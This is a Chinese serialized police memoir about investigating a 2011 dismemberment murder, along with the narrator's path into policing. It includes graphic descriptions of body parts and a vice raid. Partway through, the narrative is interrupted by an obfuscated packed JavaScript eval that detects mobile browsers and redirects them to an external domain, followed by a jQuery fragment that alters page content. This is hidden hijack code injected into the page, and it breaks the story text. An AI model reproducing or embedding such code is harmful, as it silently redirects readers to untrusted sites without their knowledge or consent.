《刑警往事》 1. 第 1 章 一、 河沟里的碎尸 2011年7月初的一天，像往常一样一样的某个清晨。7时许，东南省晋江地区安平市公安局鞋都派出所值班室一阵急促的电话铃声，值班民警从睡梦中惊醒：镇上广西村河边发现几个编织袋，袋内疑似人体组织。 又发命案，还是碎尸案！ 这条警情信息光速传播，在各级迅速爆炸开。此时我还是刑侦中队一名普通民警，上一次命案是五月份，当时一名孕妇被杀害，我们奋战了一周破案，当时靠的是路上新安装的监控提供关键线索。治安形势正在逐渐好转，经过几年打击，刑事案件高发的态势被压制住了，命案也大幅下降。从一年几十起下降到十几起，不过到现在才安稳了两个月，又有命案这种大案子。当天我值班，值班室电话第一个打给我，虽然还不能确定，不过对我已经有些兴奋和迫不及待，还没有刷牙洗脸，叫上值班司机开车立即出发。警车疾驰，很快就到了报警的现场。 广西村是我来所里当社区民警时，第一个管片社区，是一个比较大的行政村，位于机场跑道一侧，紧挨着坊脚村，由四个自然村组成，常住人口3600人，流动人口8000-10000人，有大小工厂100余家，社区警务室紧靠着机场，离机场护栏不到一百米，我在村里工作过两年，每天走街串巷，这里的每一寸土地，我都再熟悉不过了，村里治安巡逻队长已经在河边等我了，现场有不少围观群众。 报警人是一位清理河道的环卫工人，他在清晨河道清理垃圾作业时发现了几个编织袋，打捞上来以后，好奇打开，打开里面有很多黑色塑料袋，打开塑料袋，里面一股新鲜的肉，仔细看，有一个像是人的手指，被吓了一跳，于是赶忙报警。 我吩咐村级巡逻队长带人警戒现场，把人群隔离开，我从随身背的单肩包内取出从法医要来的一次性医用橡胶手套，小心打开现场发现的四个一摸一样编织袋，每袋都是双层编织袋套在一起，里面装有系好塑料袋，也是双层套在一起，我打开四个塑料袋，里面出现大量人体组织，肉块很新鲜，有点类似猪肉，已经放完血了，我看类似人手指、脚掌、类似人体脂肪（经常看法医解刨尸体），立即打了值班所领导电话，并通知值班法医，很快法医来了两个警组，现场勘查和尸检。 时间到上午8时许，已是盛夏，东南省地处闽南沿海，与蛙岛隔海相望，属热带气候，在室外明显能感觉到太阳的炙热，我背上已经是大块的汗印。现场确认袋子里装的就是人体组织，俗称尸块，这是典型的碎尸案。经清点现场发现装尸体组织的小塑料袋子共有106个，每个不到一斤重，尸块是一个人还是几个人需要回去检验才知晓，人尸体被剁如此的碎块，建国以来尚属首次。按照公安部要求，命案四长必到，局长、分管刑侦副局长、刑侦大队长已经达到在询问情况，所长正在布置保护现场。现场已经聚集了法医、重案队、辖区刑侦中队、社区民警大量的警力，警车在河边的公路停了一排。副局长下达第一道命令，立即开展调查工作，将现场的民警分成多组沿河找是否有其他袋子，走访询问有无目击者。 我负责带两名民警在周边走访，三个小时过去了，我的背已经湿透，但是一无所获，中队长电话通知我，回鞋都派出所开会。 达到会议室的时候，重案队的同事已经全部到了，李副大队长在听大家的汇报，大队长和副局长在所长办公室里喝茶，待人到齐后，他们过来正式开会。首先，技术中队长吴队介绍尸检情况：河边发现的尸块属于同一个人，死者是一名女性，年龄25-35岁左右，有妊娠史，死亡时间24小时，死者脸皮、指纹都没有，无法确认身份，因为尸块封装的比较好，半真空，加上在水里，温度较低，所以没有腐败，法医正在拼碎块，部分组织缺失。泉州刑侦支队的刑事技术专家和法医也过来参与勘察工作，目前仍在工作中。 林副局长做动员讲话，现在谣言满天飞，为了给晋江人民一个交代，现在抽调人员成立专案组，要求大家从讲政治的高度，发扬特别能吃苦、特别能奉献、特别能战斗的晋江刑警背包精神，最短的时间破获此案，晋江地区负责行动技术的支队将全力支持。 紧接着，蔡大队长开始部署侦查工作。专案组民警进行分组，明确分工，要求大家把手上的案件放一放，把精力投入这个案件的侦破工作中，我们中队派我所在的探组四个人到专案组，国权、医生、麒麟和我，分到在不同工作组，组长分别由中队长副中队长带队。分工完，大家先去派出所食堂吃饭，副局长兼所长已经吩咐食堂为大家准备了饭菜，吃完在办公室碰头，然后开工，晚上十一点各组汇总。 由于之前孕妇被杀的那个案子，监控视频是我看的，利用视频我成功的发现了嫌疑人，最后顺利破案，给领导留下了深刻的印象，于是我又被安排到视频技术组，负责找和看视频，首先是把现场周围能找到的视频资料全部考回去，然后一个一个慢慢看，于是现场沿河所有道路2公里以内的地方都要，我们就到处找摄像头，有发现就赶紧用U盘拷贝，再转移到移动硬盘上，那个时候的视频录像大部分都只能用U盘拷贝，各种格式，还得下载各种播放器才能播放，带去的500G容量的移动硬盘差不多被拷满了，然后回办公室，大家分头看。比起其他组，我们算是舒服的，拷视频录像回来后，就不用出去享受太阳烤肉大餐。其他组的就要顶着35度的高温，到现场逐户逐人现场访问排查，或者查找尸源，现场周边半径2公里以内，人口超过20万人，5公里人口40万人，鞋都镇户籍人口8万人，流动人口超过30万人，登记在册仅有20多万，周边几个镇总人口稍少一些，但是总人口超过80万人，且数据并不完整，想要找一个人如同大海里捞针。 第一天晚上汇总的时候，各组的收获几乎为零，林副局长要求专案组还要继续增加人手，同时根据法医提供的尸体头骨还原面部照片向社会发布线索征集通告，增加人员查最近失踪人口，尽快查清尸源，而我这组，继续看监控，寻找可以人员和车辆。 当晚的专案组汇总讨论会，正当我们各组准备热烈讨论发表意见的时候，局长、晋江地区局分管刑侦卓副局长、时任刑侦支队陈文荣支队长进入会议室，刑侦支队技术大队痕检和法医也到会议，鞋都镇派出所的小会议室坐得满满的，会议室内烟雾缭绕，法医和技术先发言，根据河水的流速，通过现场的刑事现场还原实验，以及尸体的腐败程度，可以推测，第一、嫌疑人在上游抛尸的时间应为头天晚上23时到第二天凌晨1时许，这个为重点时段；第二、四袋尸块总重量约为50公斤，正常人抛尸，应借助车辆；第三、是现场发现的尸袋为常见编织袋，附近厂商生产，可以去排查。目前现有的线索决定了下一步的侦查方向： 1、现在可以缩小侦查时间，视频组，重点排查头一天22时至第二天凌晨2时的人和车辆； 2、扩大排查范围，重点是女性失踪人口，尽快查清尸源； 3、编织袋的来源和去向；排查组分发编织袋照片，重点询问各超市商店有无卖过该款编织袋。 接着领导的发言我不一一表述了，大概就是通报案情以及各级领导指示批示，领导一个个发言，同时给大家打气，迎难而上，早日破案，领导提出要继续扩大摸排范围，以发现尸块的点为圆心，将原有范围从2公里延伸至5公里，同视频组和排查组同时沿河上游继续开展工作。接着专案组成员调整分组分工，我继续看视频。时间很快就到了凌晨2点，大家回去休息，稍微休整一下，第二天一早按照既定方案开展工作。 我两天没有回家，开完会，开车回家洗澡换了套衣服，又回到单位宿舍，调好闹钟，头一碰枕头，就进入深度睡眠状态。 第二天一早，我在单位食堂吃完早餐，出现办公室，小组成员碰头分工准备继续看视频（2015年开始，作为视频专业队长，我开始给大家讲视频侦查的课，我每次都会拿香港电影《跟踪》作为模版讲述，现在想起来，我当时的工作也差不多跟CIB看监控方式一样），我们这组经过调整，留了四个人，另外，调交警一名负责技术的老同志配合我们调取交警安装的电子卡口图片数据来进行分析。其他组的人，在食堂吃完饭就出发，在方面5公里内展开拉网式排查，重点排查失踪女性以及用来装尸体的编织袋。 我在办公室静静的看拷回来的录像数据。先说一下这条内河沟，发源地是南安的九十九溪，从西一路向东流，弯弯曲曲滋养了南安和晋江的人民，进入晋江后汇入晋阳湖，再从晋阳湖流出，沿途人民经过历年的改造，修建了一条石头砌成的河道，一直向东，经青阳镇、梅岭镇、鞋都镇、进入石狮蚶江镇流向泉州湾，沿途工业发达，人口密集，因为环保意识淡薄，又无人管理，大量垃圾和污水直排到河沟，导致河水进入晋江成了黑水河、臭河沟，长的全是绿葫芦，这些年，安平市政府花大量的资金和人力进行治理和改造，沿河岸10米内原有的建筑全部拆除，当时我还是社区民警，为了开展拆迁工作，曾让我疼了两年，现在修成道路或者绿化带，情况大有改观。因为民营经济发达，流动人口较多，治安状况之前一直不好，很多有钱的人就在家安装了视频监控，那个时候公共视频才刚刚开始安装，08年开始全市仅安装几百个电信全球眼，数量很少，而且位置很不理想，对于破案来说，群众家里的监控可是帮了大忙，发挥着很重要的作用。 离发现尸袋地点上游有一处路口，有一户人家门口的监控视频，我那是正在空调下喝着可乐，忽然，一辆深色suv进入我的视线，已经是晚上灯光昏暗，但是我能分辨出车子是一台东南汽车生产的富利卡SUV，车子停在视频的河边，双闪闪了一分多钟，应该安装的防盗器，开着车门会闪，之后车子离开，消失在夜色中，我脑袋瞬间有一种充血的感觉，但是多年的工作经历提醒我，淡定，淡定，深呼吸，开始追踪这台车，很快交警的同志直接访问电子卡口抓拍后台图片数据，2010年的时候，一起抢劫案，我就是通过分析经过卡口车辆照片，确认作案车辆的信息，然后锁定嫌疑人人，快速破案的，不过那时我查案件慢得要死，用了一天时间才给我照片，这次好好跟他聊聊，以后遇到案子查询快一点，拿到照片，很快确认车辆和驾驶人信息，将情况上报，一边坐等消息，一边还得苦逼的继续看视频录像。 领导得知情况后非常重视，立即组织人手，四个小时后，将车和人都找到，经过审查排查，基本排除了作案的可能，原来车主是开车去河边丢垃圾，主要是生产鞋子剩下的碎料，在车上堆着，他趁夜色去偷偷倒了。 我正在看视频录像，得知这个结果，不免有些失望，其实既是意料中，又是意料之外，嫌疑人非常狡猾，哪那么容易就轻易被我抓住尾巴，侦破案件就是这样，不断的发现线索，又失去线索，不断的失败，总结经验，再失败，再总结经验，不断重复这个痛苦的过程，如同西天取经一样，历经磨难，沉得住气，最后在不断失败中获得成功，大家看到都是我们破案后的样子，其实并不知背后，我们付出了多少心血，鬼知道我们经历了什么。 第二天晚上汇总的时候，我这边已经没有什么进展，各组也没有任何进展，大家已经疲惫不堪，领导及时重新调整人手，把两位有经验的同志调去现场排查，继续扩大搜索范围，从5公里延伸至10公里，给我留了两个警校的暑期实习生，来年就要毕业了。 开完会，走出派出所的院子，天上一轮明月，阵阵海风吹来，带来一丝凉意，环顾四周，路灯下很静谧，白天派出所门口可是熙熙攘攘，好不热闹，我就在想，每天这么拼命，科比见过凌晨4点的纽约，我可是见过24小时的世界的样子，外界对我们一无所知，到处都是不友好的样子，网上媒体一边倒的申讨，质疑，讽刺，各种诋毁，那么多兄弟英年早逝，我们在坚持什么，为了什么，是出发时的那个誓言，或者内心深处的安慰，或者面对逝去的冤魂能够得到安慰，来日九泉之下，不愧见逝去的英灵、坦然以对那些冤魂。 开车回家，家离单位3公里，深夜车不多，5分钟到家，然后洗洗睡了，暂时脱离一下战区，稍作休整，明日再战。 二、梧桐树下的少年 发现尸袋第三日，我领着两个警校实习生，沿着河继续寻找有价值的视频探头，力争找到有用的线索，但是结果不如人意，太阳把大地照得发白，晃眼，那天我喝了至少六瓶矿泉水，衣服上已有多层盐渍。走到坊脚村，一棵两人粗的大榕树下，实在酷暑难耐，我们坐下来稍作休息。 在闽南，我没有见过梧桐，或许有，只不过我没看到。闽南热带气候，植物特征明显，能在路边看到的都是刺桐树，木棉树、芒果树，最多的是榕树，根须伸到哪里，就在那里扎下去。记忆中，安平市公安局院内，靠着围墙有几棵榕树，根须已经和围墙长在了一起，难舍难分了。 树荫下，我跟两个警校实习生聊起来了公务员考试，他们跟我说现在警校课程很松，就是抓公务员考试，组织培训学习，鼓励所有学生去考，毕业工作就靠考了。2004年我刚参加公安工作的时候，全国只有140万民警，后来涨到了200万，虽然大规模招，但是还是警校供过于求，那几年警校也不包分配，跟普通院校一样，入警参加公务员考试。那段特殊的背景下，部分警校已经开始改革，缩小招生规模，有的直接不招生，改为在职培训等等。聊到公务员考试，我开始介绍经验，我那时云云，说着说着，我的思绪就回到了2003年。 (一)报考公务员 2003年11月底，江西省南昌市昌北郊外，东华理工学院（现东华理工大学）南昌校区，秋意正浓，学校那条梧桐小道已经布满落叶。那年我19岁，还有半年就毕业了，梧桐小道长约200米，双向两车道，南北朝向，北高南低，是个斜坡，落差5米左右，人行道和行车道，行车道是水泥路面，人行道铺着地砖，是那种在中国路边很常见的那种红黄色的人行地砖，路两边整齐排列着两排广告灯箱，梧桐树建校之初种下的，已经有几十年树龄，没有人知道是哪一年种的，树干超过一人粗，晚上经常有搞恶作剧的躲在树后面吓来往的同学，树底下是两排用水泥浇铸的靠椅，很多同学都喜欢在这里坐着休息，道路东边是两排连体的教学楼，高高的石基，另一侧是操场，跑道是灰渣的，中间是杂草丛生的足球场，过去的几年里，我在这里挥洒着我的青春和汗水，获得过成功和喜悦，也留下失败后落寞的身影，半年后我将离开这里，心中不免感慨，我不知道未来的路在哪里。已经有同学打听各类招聘会的消息了，且不理会他，我还是享受一下时光。 梧桐小道是从学生公寓到教学楼的必经之路，我很喜欢这条路，每天在这里走上几个来回，有时闲庭信步，更多的时候我是脚步匆匆。我还沉浸个人的感慨的时候，我的诺基亚手机响了，父亲大人来电， 通话内容大概是这样的： 我：“老爸，有什么事？” 父亲:“有个好消息告诉你，你不是一直想当警察吗？有朋友告诉我九江在公务员考试，公安局有招人，你去看看，报名考一下。” 我：“是吗，我去看一下”。 父亲：“我朋友说，在网上有消息，赶紧去看” 我：“好，我马上去。” 我从小就想当警察，不知道是五岁的时候爸爸给我买了顶警察帽，我开始喜欢当警察的，还是我想当警察，爸爸给我买了顶帽子，反正那时候开始，从此我的理想就是当警察。不过高考失利，那个时候的警校是热门学校，分数线高不可及，我差了几十分没考上，只能到别的学校读书，警察梦暂时放一放，这个时候，突然有个人告诉你，梦想其实离你很近，伸手就可以触及，点燃了我的希望，我瞬时打了鸡血，赶回寝室，那个时候住着四人间，用的电脑是02年自己组装的奔腾四1.7处理器、15寸纯平显示器，128M内存，独立32M显卡，废话不说，赶紧拨号上网，那个时代互联网已经普及，用电话线就可以上网，网速64KBS。登陆九江人事网，查看招考公告，九江公安机关有招警，有计算机专业招四个，马上打电话询问报考条件，只要能2004年7月按时毕业，就可以报名，报名时间还有三天，带上本人身份证、学校开学历证明盖章到现场报名，12月底考试，时间很近了，赶紧去找系书记系主任，开了学历证明，请假报名考试，一切顺利。 第二天一早，天没亮就我便起床出发赶第一趟公交车到汽车站，搭长途汽车到了九江，赶往马狮九江人才中心，现场人山人海，有咨询的，有来看的，有来报名得，有人手上拿着表，有人在拿手机高声打电话，盛况空前，我挤进人群，拿到报名表，填表贴上照片，报考警察的由九江市公安局政治部的人现场审核，通过以后，交钱办理准考证，这才知道这是大学毕业生从1999年最后一批开始已经不分配工作了，这是当地第二次公开招考公务员，有学习参考书，《行政职业能力测试》、《申论》和《公安基础知识》，现场有卖，买回去看，离开考已经不足一个月了，这三本书第一次听说，第一次看，从人才中心出来，路边小店吃了盘炒粉，走路去长途汽车站，买票坐车回南昌。候车的时候，我开始翻看书，《行政职业能力测试》，就像一部百科全书，考试150道题，时间150分钟，门科种类繁多，至今仍然觉得头疼，《申论》就是写作文，有点类似写论文，《公安基础知识》也是第一次看，涉及公安工作常用程序、法律法规等等，就像职业科普，我完全是门外汉，只能翻一翻。回到学校，开始了我人生第二次备考，上一次是高考，大学几年都混过去的，从没有那么认真，这次是追逐梦想的旅程，每天就跟打鸡血一样，因为要考体能，还坚持每天跑步，蛙跳，引体向上等训练。 （二）公务员笔试 眼瞅着，考试时间一天天的逼近，整个人状态还是懵懵的。考试在九江城区，分成两天，笔试是在两个不同学校考，两张准考证。第一天上午考行测，由于头天晚上没睡好，脑袋涨涨的，但是考试速度奇快，会做的就直接答，不会也没有留，猜一个答案，150道题，就不知不觉做完了，本来计划闭目养神，再来检查一下卷子，结果直接睡着了，还是监考老师提醒交卷才醒，回想起来，很好笑，当时脸上是大大的一个囧字，巨尴尬。第一天下午考申论，写两篇，都评论性质的文章，还有就是发言稿，时间2个小时，刚写完，时间就到了就交卷回去。当天晚上，九江市区停电了几个小时，因为冬天用电保障一直都是问题，我就奇怪了，守着一个火力发电厂还会停电。也没办法，抹黑看了一会《公安基础知识》，临时抱佛脚一下。 第二天到考场，拿到卷子，单选多选判断，直接傻眼了，有些题像脑经急转弯，大部分的题完全不会，只能靠蒙了，可能这场考试给我留下了阴影，后来的中级执法资格，我考了两次才过。 （三）公务员面试 考完收拾东西回到学校，上了半个月的课，放寒假回家，那时候住在乡下，家里手机信号不太好，与外界交流不多，就是每天看看书，走走亲戚，四处玩一下，那年雪下得很大，乡下都是泥土路，到哪里都是一脚的泥巴，就在家呆着。过完春节，准备返回学校的时候，突然接到通知，笔试通过，让我参加面试，真是很意外，去查了一下分数，还不错入围了。面试在老的九江市委党校，元宵节前一天，早上7点到，手机被没收，所有人集中到会议室，按照抽签序号参加面试，考完可以在考场旁听，体操打分制，7名考官，去掉最高分，最低分，取平均分，考生离开考场后，不得再返回，直接离开。我抽签抽到3号，第三个进去，我穿着新买的雅戈尔西装，爹妈特意带我去买的，人生第一次买这么贵的衣服，那时还很瘦，撑不起来，松松垮垮的，虽然系着领带，难掩少年的稚嫩，我只记得我在门口走廊里侯考的时候，很冷（我应该是衣服穿少了），我当时一直在发抖，进考场还是这种状态，看面试考题的时候，我努力控制情绪，面试题有6道，应该专业人士设置的，看完题，主考官开始提问，第一个问题，为什么要报考警察。我不假思索就回答，小就想当警察，维护正义，除暴安良。之后两个问题，我侃侃而谈，越来越有劲。第三个问题的时候，主考官就没有照纸上考题问我了，我的状态就越加放松，在轻松愉快的氛围下，我答完所有问题，然后等分数，89.5分，我挺遗憾，90分都没有，带着遗憾，我离开了考场，回学校了。 （四）体能和体检 到学校以后，我没有跟任何人提起考公务员的事情，准备上课，然后是去实习，出台了新政策，实习可以自己找单位盖章就好。这时却接到通知去参加体能测试，带上之前的准考证身份证，地点在九江市体育馆，坐落在南湖边上，现在那里是南湖国际小区和和中广场。体能考试很顺利，考完继续回学校。 实习期开始，我坐上南昌到福州的火车，再转长途汽车去了父母所在的福建晋江，中学开始每年暑假我都在那里过的，刚开始是绿皮车，后来换成红色得了，我开始了找工作之旅，已经把公务员考试的事情忘到九霄云外了，以为自己没考上，不能等，我得找工作，不能啃老，于是我开始了在晋江的找工作之旅，在报纸上看各种招聘，有工厂，还有各个公司，去找人事，面试，最后因为我喜欢车，就去了车行面试。3月份，晋江天气很暖和，穿着单衣，有人已经穿短袖了，这时，通知我到九江第一医院参加体检，于是买了连夜的火车返回九江，早上没吃没喝直接奔医院，来得仓促，也没看天气预报，从晋江出来的时候仅带了一件外套，下火车，我就发现自己错了，大家都穿着棉袄呢，忍着寒冷到了第一医院，开始体检，外科检查的时候，三个男生一起进去，然后脱衣服，连内裤我就穿了四件，我麻溜的脱完衣服检查完，隔壁两个兄弟衣服还没有脱完，他们其中一个分到武宁县公安局，05年警校培训结束以后，就在没有见过了。 体检完，因为太冷，也没有带衣服，直接坐车回福建，享受晋江的春暖花开。四月份通知到南昌参加心理测试，测试完，直接回学校，买了一箱泡面，借了一台奔腾1的IBM笔记本电脑写论文，用了一个月时间论文写完，然后一直修改，5月底论文答辩，6月底拿毕业证，报到证。中途接到通知，我已经被录取，成为一名人民警察，到九江市人事局报道。 三、古色古香的办公楼们 拿到报到证，直接去九江人事局报道，才知道我最后一个去报道，被分到了星子县公安局（2017年更名庐山市公安局），接着我人生第一次坐车到了星子县，到组织部报道，从汽车站出来，步行二十分钟，到了星子县政府，从路边一个院子进去，是星子县委县政府所在地，正值盛夏，政府院内一条坑坑洼洼的水泥路两侧野草茂盛，政府部门的几栋楼不规则的散落在各个位置，相隔不远，组织部在一栋青砖轻瓦的砖木建筑里，共三层楼，楼前是几棵高大的梧桐树，从正门厅后的楼梯上楼，才发现这个楼上包括台阶都是木制，走上去有木头特有的声响，古色古香，很像电影电视中解放前国民党办公楼的那种场景，如果那几栋楼没有拆的话，真的可以改为影视拍摄基地（我一直以为这栋楼很老了，直到我17年去陕西，发现那里政府还有泥土夯制的土木房子用来办公），离开星子后我在没有去过那里，据说已经搬新楼了。找到组织部人事科，工作人员拿着我开的人事介绍信，打电话通知公安局过来接人，没过多久，一辆尾号333的大众普桑警车过来，公务员抽签面试也是3号，看来真的跟3很有缘，当时时任星子县公安局政工科程科长过来接我到公安局报道，我就上了车，路上程科长告诉我，经过局党委会讨论决定，我被分配到指挥中心工作，但是，先要到派出所锻炼，那儿户籍警要休假，我临时顶替一下，于是我被送到了南康派出所。 南康派出所在县政府院子对面，据说以前是老的县公安局，也是一栋两层的青砖、青瓦小楼，砖木结构，风格和县政府类似，目测是同一时期产物，说是50年代的房屋，派出所有个院子，院子是铁栅栏做的围墙，但是进出的道路是铺着石子的，院子里有一个单杠，野草很多没有人清理。楼正门进去有个厅，有供群众坐的几个凳子，左边是户籍室，右边是值班室，再后面是各个民警办公室，当时南康派出所是最大的所，民警10人。所长姓叶，身材高大魁梧，说话声音高亢有力，教导员忘了是谁，还有副所长，副教导员。每人一间办公室，二楼有会议室，巡防队员宿舍和办公室，印象中除了户籍室，其他地方内务较差，到处步满灰尘，有些垃圾没有人清理，二楼就更乱，脏乱差，卫生间味道极重，能把人熏出味来那种，感觉几十年没有清理过了，程科长带着我直接到了叶所办公室，叶所对我表示欢迎，然后安排我到户籍室，跟着户籍姐姐学习怎么操作，她第二天就要走，我就要接手工作，城关派出所，户籍人口多，一天都不能停，我就这样迷迷糊糊当了一个月户籍警。 程科长走后，沉浸在电视电影画面幻想的我，感觉受到了重重的一击，从天上被的摔回地面。回归现实，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821842|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有制服，没有证件，工资三个月后才有，警校培训还要等到半年以后，我的警察生涯开始了，由于我是近十年星子县第一个外地民警，局里没有准备宿舍，南康派出所也没有宿舍，单位后勤部门正在为我找能住的地方，于是我前三个月是住在办公室里，一张草席，一张毯子，我买了一个脸盆，牙膏、牙刷被子毛巾，这就是我的全部家当。 来南康所第一天当晚，我深刻感觉我的警察生涯开始了。那天值班所领导是陈水印副所长（2010年抗洪抢险牺牲在鄱阳湖大堤上），皮肤黝黑，个子不高，看上去很结实，像是练家子出身，两眼炯炯有神，有一道亮光，当时他脚受伤包着纱布，穿着拖鞋，走路一拐一拐的，晚上我正在味道浓烈的卫生间洗澡，他叫我出警，安排我和另一个民警带着两个巡防员，去抓□□，哈哈，没错，我遇见的第一个案件是抓□□，我们抹黑走到街边一处出租屋，听到屋内有动静，带头的民警一脚踹开门，然后开灯，那个场面就不描述了，之后，将一男一女带回派出所，一路上我们谁也没说话。 到了派出所以后，才知道那男的是嫖客，□□女的是某“鸡店”的，民警让那女的打电话叫老板来，交罚款，老板来了以后，弯着腰低着头，点头哈腰，最后谈价钱，谈好后交钱，将人领回去，嫖客自己交完罚款，然后也走了。 那个时代，内地公安机关经费、奖金发放，装备采购等等都是靠自己去罚没款或者行政收费来解决，本级政府不但没钱给公安机关，还要下发任务指标，通过收支两条线。比如当年任务完成上缴100万的罚没款，会返回60万给单位用，特殊时代背景下的经费解决方案，不做评论。 惊艳的第一个案子就这么草草结束，来的急去的快，你还没有来得及享受过程，回味一下就悄然结束了，就像没发生一样，但是还是留在了我的记忆深处。现在回想起来，还觉得好笑，如果说报道那天我有些失望，其实内心仍然还有幻想，电视里人民警察是何等崇高的职业、便衣警察里受尽苦难矢志不改的情怀等，但是，抓完那对“野鸳鸯”后，我是彻底拉回现实了。 在所里当了一个月的户籍民警兼打杂的以后，回到星子县局指挥中心，在局六楼上班，后勤给我四楼一间没有人用的办公室放了一张单人床，当我的宿舍。后来我又出去租房子住，就这样在星子县公安局无忧无虑呆了两年直到2006年8月我调到安平市公安局。 四：峰回路转，天网恢恢 安平市公安局是个好单位，我在九江警校培训的时候看的大练兵视频就是安平市局拍的，里面的警察和群演都成了我的同事，我鼓励两个警校实习生考这里，他们说这里压力太大，要考回老家，我也没有多劝，沿河走了一天，没有更多的收获，于是我们返回鞋都所，开始分析所有当时卡口的过车图片。当时现场中心10公里以内的所有卡口照片，我们全部下载下来，在办公室里一张一张看。 从石狮与安平市交界的雪上村路段卡口照片里，我发现一辆五菱面包车的前排座椅与第二排座椅之间，好像有几个类似现场发现的编织袋，而且时间是发现尸袋前晚23时，但是因为图像较为模糊，无法确认，而且面包车是登记在安平市的一台，需要时间去排查。当时的情况下，人手都很紧张，已经开始往周边几个镇开展排查工作了，国权麒麟他们已经在石狮蚶江镇待了两天。 第三天汇总会，只有在晋江工作的部分人参加，同时前方传来好消息，编织袋的找到一家生产厂，说曾经生产过这批外观的小编织袋，主要销往石狮方向，我们的侦查方向开始向石狮转移，重点查编织袋，一定要找到。 到第四天，我们视频组工作依然没有收获，第四天晚上已经不开会了，我们这组加班到十二点就可以休息，但是其他组就没有这么幸运了，晋江刑侦的传统，案子发到哪里，背包就打到哪里，案件不破，绝不收兵，排查组排查到哪里就住到哪里，第二天继续排查，主要是节省时间，增加工作效率，工作又连续性，但是可怜，都没有办法回家，每天睡几个小时，我就比较幸福，离家近，晚上结束以后还可以回家一下，我一直觉得自己是个幸运儿。国权打来电话，询问工作情况，他们在石狮毫无进展，大部分的人都在石狮，蚶江镇就去了三组人，还协调石狮公安局派人协助，在石狮已经住了三天，因为出门比较急，什么都没带，又没有回家，没时间买换洗衣物，内裤脱下来都可以竖起来了，说实话，这是晋江刑警的工作常态，我们早已习惯。 到第五天，我这里能看的视频和卡口照片已经过了两遍，我一直在想是不是哪里疏漏了，那台五菱面包车还没有找到，重案队的勇哥已经去开展工作了，希望能有结果，我们几个人也准备去石狮那边参加排查组的工作。我这组几个人已经到了石狮蚶江镇，其他人在工作，领导不在，没有安排我们具体工作任务，我们先去边防派出所，等候工作安排，边防所当时还有几个重案队的兄弟也在，我们坐在边防派出所整洁的大厅里，边防的内务一直都是高标准军事化管理，比我们好太多了。边防所外不远是热闹的菜市场，人来人往，我的单位舍友家就在旁边，我当社区民警的时候，还经常跟他一起过来，到刑侦中队以后，因为太忙没有来过了。公安边防派出所，人事财务装备由边防总队边防支队管理，采取军事化管理管理模式，佩戴武警警衔，公安业务由公安局负责，同时还有边境海防管理等专有业务，是维护治安稳定特别是海上和边境地区的重要力量，很多地方没有公安派出所，只有边防所，2019年整体转制的时候，改为公安局海防支队，海防大队，海防派出所等。 坐在凉爽的大厅，我们几个人懒洋洋的聊天，正当我们跟边防派出所同志拉呱的时候，有一名中年妇女走进值班室，说要报人口失踪，民警问她什么人失踪了，她说她外省女，今天25岁，已经一个星期联系不上了，这立刻引起了我们的注意，经了解这名妇女来自重庆，在石狮务工，其外甥女跟男朋友租住在蚶江，一周前，她还去了他们租房吃饭喝酒，之后收到一条短信说他们出去玩了，之后就再也没有联系上，手机也打不通，去租房找，也没有人在。重案队的同事马上询问她，外甥女身份，同居男友身份已经租住地点，要求立即带我们去看，外面骄阳似火，我们坐丰田海狮面包车赶往租房，车内在太阳炙烤下，如同蒸笼，空调毫无作用，上车的瞬间，如同进高温桑拿房，身上每一个毛孔瞬间张开，汗如泉涌。 司机技术很赞，很快我们就赶到租房，位于蚶江镇一个行政村内，一条刚刚容纳一辆车通行的路边一栋两层的石头房子里，石头做为建筑材料用来搭建房屋，在闽南很常见，可以说是特色，这里到处盛产花岗岩，石头房子坚固耐用，在台风肆虐的季节，这是很好的选择，石头不仅用于建房，做为钢筋水泥出现前最好的材料，石头还用来搭桥，铺路，晋江有名的跨海石桥安平桥就是用石头建造，还有洛阳桥等等，包括发现尸袋的内河沟，河岸都是用石头堆砌的，形成固有河道。 我们叫来房东，详细询问，这一男一女的情况，男的徐某，江西人，女的刘某，重庆人，住在一起已经一年多了，但是人已经离开一周了，据房东反映，女子为“站街女”就是我们常说的失足妇女，经常出去接客，换一种说法，就是□□女或者流莺，当时的晋江石狮南安，很常见，因为大量的流动人口，都是青壮年，各种需求都有，因此产生了大量的群体，加上公安机关人手严重不足，打击有限，存在着这样一个灰色地带，主要在一些旧村落里，房屋密集，无法通行汽车，只能步行或骑摩托车的地方，有时着便装，经过的时候，不时可以遇到很多浓妆艳抹身上一股劣质香水味道的女性搭讪，就一句话问你要不要按摩，当社区民警的时候，我的辖区基本被我抓灭绝了，还经常跟舍友合作去他所在西坂村抓，自从取消收容教育劳动教养后，拉客□□处理，最多拘留5天，就算抓到先行，也就拘留15天，无法形成震慑，抓组织□□的特别难，就成了打击难点，长期存在，这个灰色地带容易滋生各种犯罪，我记得鞋都的洋埭村就是重灾区，经常有“仙人跳”的案件发生，是不是还有命案发生，2009年我参与的第一起命案就是在洋埭发生的，那年到九江修水，追捕犯罪嫌疑人，11月底下大雪，好在成功抓获，治理这个灰色地带需要全社会参与，鞋都四境社区就比较成功，将整个旧村拆掉重建，改成了商用楼盘，没有了隐蔽的活动场所，人员自己就消失了。 话说这里，这对男女的突然消失，我们隐约感觉离破案已经很近了，领导得知消息后，重新调整部署，1、技术人员到租房查看取证，看看有没有跟案件有关的线索；2、所有人员围绕租房附近开展走访排查工作。 我负责调取视频，很快一组人报来消息，租房约200米远的一处超市内售卖的编织袋与装尸体用的同款，询问老板得知，一周前，一名男子曾来购买了8个编织袋，还有若干个塑料袋，通过辨认，老板认出是徐某购买的。其实徐某租房楼下也有个超市，他舍近求远的做法，让我们认定他就是第一嫌疑人。紧接着我们在他楼下超市调取录像，发现徐某多次到超市购买锯子，刀等物品。 技术队和法医，进入租房勘查，租房清理得很干净，但是，在墙面，墙角，卫生间等多处发现血迹和碎肉，骨头等人体组织，经过取样 DNA鉴定，和河沟内的碎尸块属于同一人。 